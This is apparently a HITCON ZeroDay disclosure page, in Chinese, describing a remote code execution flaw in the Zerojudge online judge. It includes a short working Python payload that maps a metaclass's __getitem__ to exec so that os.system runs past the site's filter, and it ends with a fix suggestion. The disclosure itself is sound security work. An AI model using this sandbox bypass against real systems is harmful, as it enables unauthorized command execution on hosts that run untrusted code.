Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00089
- Vendor: 高中生程式解題系統
- Title: Zerojudge RCE
- Introduction: 使用者可以利用程式練習的python區繞過filter後進行python指令注入
- 感謝函
處理狀態
目前狀態
公開
Last Update : 2024/04/18
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/02/17 21:47:33 : 新提交 (由 Whale120 更新此狀態)
- 2024/02/17 21:58:56 : 新提交 (由 Whale120 更新此狀態)
- 2024/02/22 16:55:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/03/07 15:17:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/03/07 15:17:31 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/04/18 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00089
- 通報者:WH_ALE (Whale120)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://zerojudge.tw/
敘述
有注意到之前的漏洞提交有修正了:https://zeroday.hitcon.org/vulnerability/ZD-2024-00022
然而防護不完全。
在任意題目區打入以下payload即可在有防護的情況下RCE:
class Metaclass(type):
__getitem__ = exec
class Sub(metaclass=Metaclass):
pass
Sub['import os;os.system("whoami")']
RCE結果:
此為常見繞過手法之一,方式為自行定義class帶exec功能(執行python)後繞過本來阻擋system, eval等函數的地方
更多攻擊手法請參考:https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
- 小吐槽:
eval函數擋掉可以增加資安防護,但是卻使很多題目無法用簡單方法做完(像是大數運算(
修補建議
完全禁止python執行時動到os等系統套件
然後把eval函數還回來也不用怕了(
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。